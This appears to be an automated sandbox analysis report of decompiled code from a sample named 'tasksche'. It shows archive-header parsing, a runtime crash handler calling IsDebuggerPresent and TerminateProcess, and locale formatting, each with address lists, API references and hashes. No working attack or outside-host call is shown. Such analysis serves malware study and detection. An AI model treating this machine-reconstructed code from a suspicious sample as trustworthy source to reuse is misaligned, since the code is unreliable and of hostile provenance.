											 *(_t677 + 0x10e1) = _t560;
											__eflags = _t560;
											if(_t560 == 0) {
												_t646 = 0x10000 << (_t401 >> 0x00000005 & 0x00000007);
												__eflags = 0x10000;
											} else {
												_t646 = 0;
											}
											 *(_t677 + 0x10e2) = _t401 >> 0x00000003 & 0x00000001;
											 *(_t677 + 0x10e4) = _t646;
											 *(_t677 + 0x10e3) = _t401 >> 0x0000000b & 0x00000001;
											 *((intOrPtr*)(_t677 + 0x14)) = E0040B5AF(_t685 - 0x48);
											 *(_t685 - 0x1c) = E0040B5AF(_t685 - 0x48);
											_t406 = E0040B562(_t685 - 0x48);
											_t659 = 2;
											 *((char*)(_t677 + 0x18)) = _t406;
											 *(_t677 + 0x1060) = _t659;
											 *((intOrPtr*)(_t677 + 0x1064)) = E0040B5AF(_t685 - 0x48);
											 *(_t685 - 0x20) = E0040B5AF(_t685 - 0x48);
											 *(_t677 + 0x19) = E0040B562(_t685 - 0x48);
											 *((char*)(_t677 + 0x1a)) = E0040B562(_t685 - 0x48) - 0x30;
											 *(_t685 - 0x14) = E0040B57A(_t685 - 0x48) & 0x0000ffff;
											_t414 = E0040B5AF(_t685 - 0x48);
											 *(_t677 + 0x108c) =  *(_t677 + 0x108c) & 0x00000000;
											__eflags =  *((char*)(_t677 + 0x108b));
											 *(_t677 + 0x1c) = _t414;
											if( *((char*)(_t677 + 0x108b)) == 0) {
												L57:
												_t644 =  *((intOrPtr*)(_t677 + 0x18));
												 *(_t677 + 0x10ec) = _t659;
												__eflags = _t644 - 3;
												if(_t644 == 3) {
													L61:
													 *(_t677 + 0x10ec) = 1;
													L62:
													_t660 = 0;
													_t576 = _t677 + 0x10f0;
													 *_t576 = 0;
													__eflags = _t644 - 3;
													if(_t644 == 3) {
														_t644 = _t414 & 0x0000f000;
														__eflags = _t644 - 0xa000;
														if(_t644 == 0xa000) {
															 *_t576 = 1;
															__eflags = 0;
															 *((short*)(_t677 + 0x10f4)) = 0;
														}
													}
													__eflags =  *((char*)(_t685 - 0xd));
													if( *((char*)(_t685 - 0xd)) != 0) {
														L68:
														_t415 = 0;
														__eflags = 0;
														goto L69;
													} else {
														__eflags = _t414;
														if(_t414 >= 0) {
															goto L68;
														}
														_t415 = 1;
														L69:
														 *((char*)(_t677 + 0x10e8)) = _t415;
														_t418 =  *(_t677 + 8) >> 0x00000008 & 0x00000001;
														__eflags = _t418;
														 *(_t677 + 0x10e9) = _t418;
														if(_t418 == 0) {
															__eflags =  *(_t685 - 0x1c) - 0xffffffff;
															 *((intOrPtr*)(_t685 - 0x18)) = _t660;
															_t131 =  *(_t685 - 0x1c) == 0xffffffff;
															__eflags = _t131;
															_t419 = _t418 & 0xffffff00 | _t131;
															L75:
															 *(_t677 + 0x108a) = _t419;
															_t420 = E0041ABD0(_t660, 0, 0, 1);
															asm("adc edx, edi");
															 *((intOrPtr*)(_t677 + 0x1048)) = _t420 +  *((intOrPtr*)(_t677 + 0x14));
															 *(_t677 + 0x104c) = _t644;
															_t422 = E0041ABD0( *((intOrPtr*)(_t685 - 0x18)), 0, 0, 1);
															asm("adc edx, ecx");
															 *(_t677 + 0x1050) = _t422 +  *(_t685 - 0x1c);
															 *(_t677 + 0x1054) = _t644;
															__eflags =  *(_t677 + 0x108a);
															if( *(_t677 + 0x108a) != 0) {
																 *(_t677 + 0x1050) = 0x7fffffff;
																 *(_t677 + 0x1054) = 0x7fffffff;
															}
															_t662 = 0x1fff;
															__eflags =  *(_t685 - 0x14) - 0x1fff;
															if( *(_t685 - 0x14) < 0x1fff) {
																_t662 =  *(_t685 - 0x14);
															}
															E0040B696(_t685 - 0x48, _t685 - 0x2880, _t662);
															__eflags =  *((char*)(_t685 - 0xd));
															 *((char*)(_t685 + _t662 - 0x2880)) = 0;
															if( *((char*)(_t685 - 0xd)) == 0) {
																 *((intOrPtr*)(_t685 - 0x18)) = _t677 + 0x20;
																E00411B3C(_t685 - 0x2880, _t677 + 0x20, 0x800);
																_t665 =  *((intOrPtr*)(_t677 + 0xc)) -  *(_t685 - 0x14) - 0x20;
																__eflags =  *(_t677 + 8) & 0x00000400;
																if(( *(_t677 + 8) & 0x00000400) != 0) {
																	_t665 = _t665 - 8;
																	__eflags = _t665;
																}
																__eflags = _t665;
																if(_t665 > 0) {
																	E00401C1D(_t677 + 0x1020, _t665);
																	E0040B696(_t685 - 0x48,  *((intOrPtr*)(_t677 + 0x1020)), _t665);
																	_t461 = E0041AA21( *((intOrPtr*)(_t685 - 0x18)), 0x42a494);
																	__eflags = _t461;
																	if(_t461 == 0) {
																		_t644 =  *( *((intOrPtr*)(_t677 + 0x1020)) + 9) & 0x000000ff;
																		 *(_t509 + 0x652c) =  *(_t509 + 0x652c) & 0x00000000;
																		 *((intOrPtr*)(_t509 + 0x6528)) = E0041ABD0((((( *( *((intOrPtr*)(_t677 + 0x1020)) + 0xb) & 0x000000ff) << 8) + ( *( *((intOrPtr*)(_t677 + 0x1020)) + 0xa) & 0x000000ff) << 8) + _t644 << 8) + ( *( *((intOrPtr*)(_t677 + 0x1020)) + 8) & 0x000000ff),  *(_t509 + 0x652c), 0x200, 0);
																		 *(_t509 + 0x652c) = _t644;
																		 *((intOrPtr*)(_t685 - 0x28)) =  *((intOrPtr*)( *_t509 + 0x10))();
																		 *(_t685 - 0x24) = _t644;
																		_t468 = E00410B07( *((intOrPtr*)(_t509 + 0x6528)),  *(_t509 + 0x652c), _t467, _t644);
																		 *(_t509 + 0x6530) = _t468;
																		_t670 = _t468;
																		_t469 = E0041AB20( *((intOrPtr*)(_t685 - 0x28)),  *(_t685 - 0x24), 0xc8, 0);
																		asm("adc edx, [ebx+0x652c]");
																		_t471 = E00410B07(_t469 +  *((intOrPtr*)(_t509 + 0x6528)), _t644,  *((intOrPtr*)(_t685 - 0x28)),  *(_t685 - 0x24));
																		__eflags = _t471 - _t670;
																		if(_t471 > _t670) {
																			_t671 = _t670 + 1;
																			__eflags = _t671;
																			 *(_t509 + 0x6530) = _t671;
																		}
																	}
																}
																_t429 = E0041AA21( *((intOrPtr*)(_t685 - 0x18)), "CMT");
																__eflags = _t429;
																if(_t429 == 0) {
																	 *((char*)(_t509 + 0xb056)) = 1;
																}
															} else {
																__eflags =  *(_t677 + 8) & 0x00000200;
																if(( *(_t677 + 8) & 0x00000200) == 0) {
																	_t472 = _t677 + 0x20;
																	_t609 = 0;
																	__eflags = 0;
																	 *((intOrPtr*)(_t685 - 0x18)) = _t472;
																	 *_t472 = 0;
																} else {
																	E0040612E(_t685 - 0x5c);
																	_t481 = E0041AA60(_t685 - 0x2880);
																	 *((intOrPtr*)(_t685 - 0x18)) = _t677 + 0x20;
																	_t609 = _t685 - 0x5c;
																	E0040613F(_t685 - 0x5c, _t685 - 0x2880, _t685 + _t481 + 1 - 0x2880,  *(_t685 - 0x14) - _t481 + 1, _t677 + 0x20, 0x800);
																}
																E00410B32(_t685 - 0x2880, _t685 - 0x880, 0x800);
																E0040A386(_t609, _t685 - 0x880,  *((intOrPtr*)(_t685 - 0x18)),  *((intOrPtr*)(_t685 - 0x18)), 0x800);
																E00401A7E(_t509, _t677);
															}
															__eflags =  *(_t677 + 8) & 0x00000400;
															if(( *(_t677 + 8) & 0x00000400) != 0) {
																E0040B696(_t685 - 0x48, _t677 + 0x1091, 8);
															}
															E00411650( *(_t685 - 0x20));
															__eflags =  *(_t677 + 8) & 0x00001000;
															if(( *(_t677 + 8) & 0x00001000) == 0) {
																L107:
																 *((intOrPtr*)(_t509 + 0xb048)) =  *((intOrPtr*)(_t509 + 0xb048)) +  *((intOrPtr*)(_t677 + 0x1048));
																asm("adc [ebx+0xb04c], eax");
																 *(_t685 - 0x24) =  *(_t677 + 0x10e2);
																_t434 = E0040B6E6(_t685 - 0x48,  *(_t685 - 0x24));
																__eflags =  *_t677 - (_t434 & 0x0000ffff);
																if( *_t677 != (_t434 & 0x0000ffff)) {
																	 *((char*)(_t509 + 0xb064)) = 1;
																	E004062BA(0x4335ac, 1);
																	__eflags =  *((char*)(_t685 - 0xe));
																	if( *((char*)(_t685 - 0xe)) == 0) {
																		E0040639F(0x1a, _t509 + 0x1e,  *((intOrPtr*)(_t685 - 0x18)));
																	}
																}
																goto L116;
															} else {
																_t439 = E0040B57A(_t685 - 0x48);
																 *(_t685 - 0x4c) =  *(_t685 - 0x4c) & 0x00000000;
																_t217 = _t685 - 0x14;
																 *_t217 =  *(_t685 - 0x14) & 0x00000000;
																__eflags =  *_t217;
																 *((intOrPtr*)(_t685 - 0x58)) = _t509 + 0x7618;
																 *((intOrPtr*)(_t685 - 0x54)) = _t509 + 0x7620;
																 *((intOrPtr*)(_t685 - 0x50)) = _t509 + 0x7628;
																 *(_t685 - 0x24) = _t439 & 0xffff;
																 *(_t685 - 0x1c) = 0xc;
																do {
																	_t666 =  *(_t685 +  *(_t685 - 0x14) * 4 - 0x58);
																	_t444 =  *(_t685 - 0x24) >>  *(_t685 - 0x1c);
																	 *(_t685 - 0x20) = _t444;
																	__eflags = _t444 & 0x00000008;
																	if((_t444 & 0x00000008) == 0) {
																		goto L106;
																	}
																	__eflags = _t666;
																	if(_t666 == 0) {
																		goto L106;
																	}
																	__eflags =  *(_t685 - 0x14);
																	if( *(_t685 - 0x14) != 0) {
																		E00411650(E0040B5AF(_t685 - 0x48));
																	}
																	E004113F1(_t666, _t685 - 0x80);
																	__eflags =  *(_t685 - 0x20) & 0x00000004;
																	if(( *(_t685 - 0x20) & 0x00000004) != 0) {
																		_t242 = _t685 - 0x6c;
																		 *_t242 =  *(_t685 - 0x6c) + 1;
																		__eflags =  *_t242;
																	}
																	 *(_t685 - 0x68) =  *(_t685 - 0x68) & 0x00000000;
																	_t448 =  *(_t685 - 0x20) & 0x00000003;
																	__eflags = _t448;
																	if(_t448 <= 0) {
																		L105:
																		E00411541( *(_t685 +  *(_t685 - 0x14) * 4 - 0x58), _t685 - 0x80);
																	} else {
																		_t667 = 3;
																		_t669 = _t667 - _t448 << 3;
																		__eflags = _t669;
																		 *(_t685 - 0x20) = _t448;
																		do {
																			_t454 = (E0040B562(_t685 - 0x48) & 0x000000ff) << _t669;
																			_t669 = _t669 + 8;
																			 *(_t685 - 0x68) =  *(_t685 - 0x68) | _t454;
																			_t251 = _t685 - 0x20;
																			 *_t251 =  *(_t685 - 0x20) - 1;
																			__eflags =  *_t251;
																		} while ( *_t251 != 0);
																		goto L105;
																	}
																	L106:
																	 *(_t685 - 0x1c) =  *(_t685 - 0x1c) - 4;
																	 *(_t685 - 0x14) =  *(_t685 - 0x14) + 1;
																	__eflags =  *(_t685 - 0x1c) - 0xfffffffc;
																} while ( *(_t685 - 0x1c) > 0xfffffffc);
																goto L107;
															}
														}
														_t660 = E0040B5AF(_t685 - 0x48);
														_t488 = E0040B5AF(_t685 - 0x48);
														__eflags =  *(_t685 - 0x1c) - 0xffffffff;
														 *((intOrPtr*)(_t685 - 0x18)) = _t488;
														if( *(_t685 - 0x1c) != 0xffffffff) {
															L73:
															_t419 = 0;
															goto L75;
														}
														__eflags = _t488 - 0xffffffff;
														if(_t488 != 0xffffffff) {
															goto L73;
														}
														_t419 = 1;
														goto L75;
													}
												}
												__eflags = _t644 - 5;
												if(_t644 == 5) {
													goto L61;
												}
												__eflags = _t644 - 6;
												if(_t644 < 6) {
													 *(_t677 + 0x10ec) =  *(_t677 + 0x10ec) & 0x00000000;
												}
												goto L62;
											} else {
												_t620 = ( *(_t677 + 0x19) & 0x000000ff) - 0xd;
												__eflags = _t620;
												if(_t620 == 0) {
													 *(_t677 + 0x108c) = 1;
													goto L57;
												}
												_t621 = _t620 - _t659;
												__eflags = _t621;
												if(_t621 == 0) {
													 *(_t677 + 0x108c) = _t659;
													goto L57;
												}
												_t622 = _t621 - 5;
												__eflags = _t622;
												if(_t622 == 0) {
													L54:
													 *(_t677 + 0x108c) = 3;
													goto L57;
												}
												__eflags = _t622 == 6;
												if(_t622 == 6) {
													goto L54;
												}
												 *(_t677 + 0x108c) = 4;
												goto L57;
											}
										}
										__eflags = _t401 & 0x00000010;
										if((_t401 & 0x00000010) == 0) {
											goto L44;
										}
										_t557 = 1;
										goto L45;
									}
								}
								__eflags = _t349 - 5;
								if(_t349 != 5) {
									goto L110;
								} else {
									_push(_t349);
									_t492 = memcpy(_t509 + 0x88e8, _t509 + 0x654c, 0 << 2);
									_t676 =  *_t492;
									 *(_t509 + 0x8904) =  *_t492 & 0x00000001;
									 *(_t509 + 0x8906) = _t676 >> 0x00000002 & 0x00000001;
									_t495 = _t676 >> 0x00000001 & 0x00000001;
									_t677 = _t509 + 0x8907;
									 *(_t509 + 0x8905) = _t495;
									 *_t677 = _t676 >> 0x00000003 & 0x00000001;
									__eflags = _t495;
									if(_t495 != 0) {
										 *((intOrPtr*)(_t509 + 0x88fc)) = E0040B5AF(_t685 - 0x48);
									}
									__eflags =  *_t677;
									if( *_t677 != 0) {
										_t497 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
										 *(_t509 + 0x8900) = _t497;
										 *(_t509 + 0xb078) = _t497;
									}
									goto L116;
								}
							}
							__eflags =  *(_t509 + 0x6554) & 0x00000002;
							if(( *(_t509 + 0x6554) & 0x00000002) != 0) {
								goto L23;
							}
							goto L26;
						}
						L23:
						_push(6);
						goto L27;
					}
					L13:
					E00401C80(_t509);
					goto L6;
				}
				_t644 =  *(__ecx + 0xb044);
				_t500 =  *((intOrPtr*)(__ecx + 0xb060)) + 7;
				asm("adc ecx, edi");
				_t694 = _t644;
				if(_t694 < 0 || _t694 <= 0 &&  *((intOrPtr*)(__ecx + 0xb040)) <= _t500) {
					goto L9;
				} else {
					 *((char*)(_t685 - 0xe)) = 1;
					E00401BBB(_t509);
					_t503 =  *((intOrPtr*)( *_t509 + 8))(_t685 - 0x28, 8);
					_t696 = _t503 - 8;
					if(_t503 == 8) {
						__eflags =  *((intOrPtr*)(_t509 + 0x6524)) + 0x4024;
						_t677 = _t509 + 0x1024;
						E00405FE7(_t677, _t644, _t650, 4,  *((intOrPtr*)(_t509 + 0x6524)) + 0x4024, _t685 - 0x28, _t650, _t650, _t650, _t650);
						 *(_t685 - 0x2c) = _t677;
						goto L11;
					}
					goto L5;
				}
			}

0x00401cc6
0x00401cd0
0x00401cd6
0x00401cd7
0x00401cde
0x00401ce3
0x00401cec
0x00401cef
0x00401d4d
0x00401d4d
0x00401d7a
0x00401d7f
0x00401d84
0x00401d87
0x00401d31
0x00401d33
0x00401d38
0x00401d38
0x00401d3b
0x00401d3d
0x00401d40
0x00401d45
0x00401d46
0x0040271f
0x00402725
0x0040272d
0x0040272d
0x00401d97
0x00401d9d
0x00401dac
0x00401db4
0x00401db7
0x00401dc5
0x00401dd0
0x00401dd3
0x00401dd9
0x00401ddf
0x00401de2
0x00401df0
0x00401df0
0x00401df5
0x00401df6
0x00401e23
0x00401df8
0x00401df8
0x00401df8
0x00401df9
0x00401e17
0x00401dfb
0x00401dfb
0x00401dfb
0x00401dfe
0x00401e0f
0x00401e00
0x00401e00
0x00401e00
0x00401e01
0x00401e03
0x00401e03
0x00401e01
0x00401dfe
0x00401df9
0x00401e2d
0x00401e33
0x00401e39
0x00401e3c
0x00401e42
0x00401e45
0x00401e50
0x00401e50
0x00401e50
0x00401e53
0x00401e54
0x00401e57
0x00401e64
0x00401e71
0x00401e77
0x00401e7d
0x00401e83
0x00401e89
0x00401e8c
0x00402567
0x0040256f
0x00402576
0x0040257d
0x0040258a
0x00402596
0x00402598
0x004025a0
0x004025a4
0x004025b1
0x004025be
0x004025cb
0x004025d8
0x004025de
0x004025e4
0x004025e6
0x004025f3
0x004025f5
0x004025f5
0x004025f6
0x004025f6
0x00402602
0x00402612
0x00402612
0x00402615
0x0040261b
0x00402621
0x00402621
0x00402627
0x0040262f
0x00402635
0x004026e6
0x004026ec
0x004026f2
0x0040270c
0x0040270c
0x0040270f
0x00402712
0x00402714
0x00402717
0x0040271c
0x0040271d
0x00000000
0x0040271d
0x004026f4
0x00000000
0x00000000
0x00402700
0x00402706
0x00000000
0x00000000
0x00000000
0x00402706
0x0040263b
0x00402641
0x00402644
0x00000000
0x00000000
0x0040264a
0x0040264d
0x00000000
0x00000000
0x00402653
0x00402656
0x004026b5
0x004026bc
0x004026c3
0x004026c8
0x004026cc
0x00000000
0x00000000
0x004026d5
0x004026da
0x00000000
0x004026da
0x00402658
0x0040265f
0x00000000
0x00000000
0x00402665
0x0040266e
0x00402672
0x00402678
0x00402679
0x00402679
0x0040267b
0x00402683
0x00402686
0x0040268a
0x0040268c
0x00402691
0x00402693
0x00402695
0x00402695
0x00402699
0x00402699
0x00402699
0x004026a5
0x004026ac
0x004026af
0x004026b3
0x00000000
0x00000000
0x00000000
0x004026b3
0x004025e8
0x004025ea
0x004025f1
0x00000000
0x00000000
0x00000000
0x004025f1
0x00401e92
0x0040253d
0x0040253d
0x00402547
0x00402555
0x0040255b
0x0040255b
0x00000000
0x00402547
0x00401e98
0x00401e9a
0x00401f2d
0x00401f30
0x00401f34
0x00401f38
0x00401f3e
0x00401f40
0x00401f40
0x00401f46
0x00401f4c
0x00401f4f
0x00401f56
0x00401f5d
0x00401f5f
0x00401f67
0x00401f6d
0x00401f77
0x00401f85
0x00401f93
0x00401f97
0x00401f9d
0x00401fa8
0x00401fa8
0x00401fa8
0x00000000
0x00401f9f
0x00401f9f
0x00401fa1
0x00000000
0x00000000
0x00401fa5
0x00401faa
0x00401faa
0x00401fae
0x00401fb1
0x00401fb7
0x00401fc2
0x00401fc2
0x00401fc2
0x00401fc4
0x00401fc4
0x00401fcc
0x00401fd2
0x00401fd5
0x00401fd8
0x00401fde
0x00401fe0
0x00401ff3
0x00401ff3
0x00401fe2
0x00401fe2
0x00401fe2
0x00402000
0x0040200b
0x00402011
0x0040201f
0x0040202a
0x0040202d
0x00402034
0x00402038
0x0040203b
0x00402049
0x00402057
0x00402062
0x0040206f
0x0040207d
0x00402080
0x00402085
0x0040208c
0x00402093
0x00402096
0x004020d9
0x004020d9
0x004020dc
0x004020e2
0x004020e5
0x004020fa
0x004020fa
0x00402104
0x00402104
0x00402106
0x0040210c
0x0040210e
0x00402111
0x00402115
0x0040211b
0x00402121
0x00402123
0x00402129
0x0040212b
0x0040212b
0x00402121
0x00402132
0x00402136
0x00402141
0x00402141
0x00402141
0x00000000
0x00402138
0x00402138
0x0040213a
0x00000000
0x00000000
0x0040213e
0x00402143
0x00402143
0x0040214f
0x0040214f
0x00402151
0x00402157
0x00402182
0x00402186
0x00402189
0x00402189
0x00402189
0x0040218c
0x00402193
0x00402199
0x004021ac
0x004021ae
0x004021b4
0x004021ba
0x004021c4
0x004021c6
0x004021cc
0x004021d2
0x004021d8
0x004021df
0x004021e5
0x004021e5
0x004021eb
0x004021f0
0x004021f3
0x004021f5
0x004021f5
0x00402203
0x00402208
0x0040220c
0x00402214
0x004022ad
0x004022b7
0x004022c2
0x004022c5
0x004022cc
0x004022ce
0x004022ce
0x004022ce
0x004022d1
0x004022d3
0x004022e0
0x004022ef
0x004022fc
0x00402303
0x00402305
0x00402321
0x00402328
0x0040234c
0x00402356
0x00402367
0x00402370
0x00402373
0x0040237b
0x00402384
0x00402393
0x0040239e
0x004023a6
0x004023ab
0x004023ad
0x004023af
0x004023af
0x004023b0
0x004023b0
0x004023ad
0x00402305
0x004023be
0x004023c5
0x004023c7
0x004023c9
0x004023c9
0x0040221a
0x0040221a
0x00402226
0x00402265
0x00402268
0x00402268
0x0040226a
0x0040226d
0x00402228
0x0040222b
0x00402237
0x00402242
0x0040225b
0x0040225e
0x0040225e
0x0040227f
0x00402292
0x0040229a
0x0040229a
0x004023d0
0x004023d7
0x004023e5
0x004023e5
0x004023f3
0x004023f8
0x004023ff
0x004024d6
0x004024dc
0x004024eb
0x004024f7
0x004024fd
0x00402505
0x00402507
0x00402514
0x0040251b
0x00402520
0x00402524
0x00402533
0x00402533
0x00402524
0x00000000
0x00402405
0x00402408
0x0040240d
0x00402411
0x00402411
0x00402411
0x0040241e
0x0040242a
0x00402433
0x00402436
0x00402439
0x00402440
0x00402443
0x0040244d
0x0040244f
0x00402452
0x00402454
0x00000000
0x00000000
0x00402456
0x00402458
0x00000000
0x00000000
0x0040245a
0x0040245e
0x0040246b
0x0040246b
0x00402476
0x0040247b
0x0040247f
0x00402481
0x00402481
0x00402481
0x00402481
0x00402487
0x0040248b
0x0040248b
0x0040248e
0x004024b5
0x004024c0
0x00402490
0x00402492
0x00402495
0x00402495
0x00402498
0x0040249b
0x004024a8
0x004024aa
0x004024ad
0x004024b0
0x004024b0
0x004024b0
0x004024b0
0x00000000
0x0040249b
0x004024c5
0x004024c5
0x004024c9
0x004024cc
0x004024cc
0x00000000
0x00402440
0x004023ff
0x00402164
0x00402166
0x0040216b
0x0040216f
0x00402172
0x0040217e
0x0040217e
0x00000000
0x0040217e
0x00402174
0x00402177
0x00000000
0x00000000
0x0040217b
0x00000000
0x0040217b
0x00402136
0x004020e7
0x004020ea
0x00000000
0x00000000
0x004020ec
0x004020ef
0x004020f1
0x004020f1
0x00000000
0x00402098
0x0040209c
0x0040209c
0x0040209f
0x004020cf
0x00000000
0x004020cf
0x004020a1
0x004020a1
0x004020a3
0x004020c7
0x00000000
0x004020c7
0x004020a5
0x004020a5
0x004020a8
0x004020bb
0x004020bb
0x00000000
0x004020bb
0x004020aa
0x004020ad
0x00000000
0x00000000
0x004020af
0x00000000
0x004020af
0x00402096
0x00401fb9
0x00401fbb
0x00000000
0x00000000
0x00401fbf
0x00000000
0x00401fbf
0x00401f9d
0x00401ea0
0x00401ea3
0x00000000
0x00401ea9
0x00401ea9
0x00401ebd
0x00401ec1
0x00401ec6
0x00401ed4
0x00401ee3
0x00401ee8
0x00401eee
0x00401ef4
0x00401ef6
0x00401ef8
0x00401f02
0x00401f02
0x00401f08
0x00401f0b
0x00401f19
0x00401f1c
0x00401f22
0x00401f22
0x00000000
0x00401f0b
0x00401ea3
0x00401e47
0x00401e4e
0x00000000
0x00000000
0x00000000
0x00401e4e
0x00401e3e
0x00401e3e
0x00000000
0x00401e3e
0x00401de4
0x00401de6
0x00000000
0x00401de6
0x00401cf7
0x00401cff
0x00401d02
0x00401d04
0x00401d06
0x00000000
0x00401d14
0x00401d16
0x00401d1a
0x00401d29
0x00401d2c
0x00401d2f
0x00401d61
0x00401d69
0x00401d72
0x00401d77
0x00000000
0x00401d77
0x00000000
0x00401d2f

APIs

__EH_prolog.LIBCMT ref: 00401CC6
_strlen.LIBCMT ref: 00402237

Part of subcall function 00411B3C: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,00001FFF,?,?,004022BC,00000000,?,00000800,?,00001FFF,?), ref: 00411B58

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00402393

Strings

CMT, xrefs: 004023B6

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: 0be3d3ecc635031628957b47ccd727b43b6d95ea909fd416758fe2208c21c37e
Instruction ID: 47e58a6222a9c82a3371e9f2a391d10810198bea5a194d1edf5ea2ede1dda2e7
Opcode Fuzzy Hash: 0be3d3ecc635031628957b47ccd727b43b6d95ea909fd416758fe2208c21c37e
Instruction Fuzzy Hash: 8B6201709006849FCF25DF64C8947EE7BB1AF14304F0844BEE986BB2D6DB795985CB28

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6DE Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0041E6DE(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x430298; // 0x6f6bacb9
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x44ff68 = _t6;
				 *0x44ff64 = _t22;
				 *0x44ff60 = _t25;
				 *0x44ff5c = _t21;
				 *0x44ff58 = _t27;
				 *0x44ff54 = _t26;
				 *0x44ff80 = ss;
				 *0x44ff74 = cs;
				 *0x44ff50 = ds;
				 *0x44ff4c = es;
				 *0x44ff48 = fs;
				 *0x44ff44 = gs;
				asm("pushfd");
				_pop( *0x44ff78);
				 *0x44ff6c =  *_t31;
				 *0x44ff70 = _v0;
				 *0x44ff7c =  &_a4;
				 *0x44feb8 = 0x10001;
				_t11 =  *0x44ff70; // 0x0
				 *0x44fe6c = _t11;
				 *0x44fe60 = 0xc0000409;
				 *0x44fe64 = 1;
				_t12 =  *0x430298; // 0x6f6bacb9
				_v812 = _t12;
				_t13 =  *0x43029c; // 0x90945346
				_v808 = _t13;
				 *0x44feb0 = IsDebuggerPresent();
				_push(1);
				E00424E29(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x42ba78);
				if( *0x44feb0 == 0) {
					_push(1);
					E00424E29(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6e4
0x0041e6e6
0x0041e6e6
0x00423e8e
0x00423e93
0x00423e99
0x00423e9f
0x00423ea5
0x00423eab
0x00423eb1
0x00423eb8
0x00423ebf
0x00423ec6
0x00423ecd
0x00423ed4
0x00423edb
0x00423edc
0x00423ee5
0x00423eed
0x00423ef5
0x00423f00
0x00423f0a
0x00423f0f
0x00423f14
0x00423f1e
0x00423f28
0x00423f2d
0x00423f33
0x00423f38
0x00423f44
0x00423f49
0x00423f4b
0x00423f53
0x00423f5e
0x00423f6b
0x00423f6d
0x00423f6f
0x00423f74
0x00423f88

APIs

IsDebuggerPresent.KERNEL32 ref: 00423F3E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00423F53
UnhandledExceptionFilter.KERNEL32(0042BA78), ref: 00423F5E
GetCurrentProcess.KERNEL32(C0000409), ref: 00423F7A
TerminateProcess.KERNEL32(00000000), ref: 00423F81

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 4de6ed279e9cf42e89259ac0ebda5d4927e8938d534c68d964197d147836f072
Instruction ID: 77c401cdca4814435c65699ef26cb777055d8c499ed0f7a386f9586c05fd5705
Opcode Fuzzy Hash: 4de6ed279e9cf42e89259ac0ebda5d4927e8938d534c68d964197d147836f072
Instruction Fuzzy Hash: 6F21C0B8A10208DFE710DF25F8496597BA0FB1A315F90117BE90887271EBB5599ECF0E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D155 Relevance: 3.0, APIs: 2, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D155(intOrPtr _a4, intOrPtr _a8, short* _a12, int _a16) {
				short _v104;
				short _v304;
				int _t22;
				void* _t23;
				void* _t24;
				short* _t26;

				if( *0x4300dc == 0) {
					GetLocaleInfoW(0x400, 0xf,  &_v304, 0x64);
					 *0x44cf24 = _v304;
					 *0x44cf26 = 0;
					 *0x4300dc = 0x44cf24;
				}
				E00410BF7(_t23, _t24, _a4, _a8,  &_v104, 0x32);
				_t22 = _a16;
				_t26 = _a12;
				 *_t26 = 0;
				GetNumberFormatW(0x400, 0,  &_v104, 0x4300cc, _t26, _t22);
				 *((short*)(_t26 + _t22 * 2 - 2)) = 0;
				return 0;
			}

0x0040d16d
0x0040d17b
0x0040d188
0x0040d190
0x0040d196
0x0040d196
0x0040d1ac
0x0040d1b1
0x0040d1b4
0x0040d1c0
0x0040d1ca
0x0040d1d3
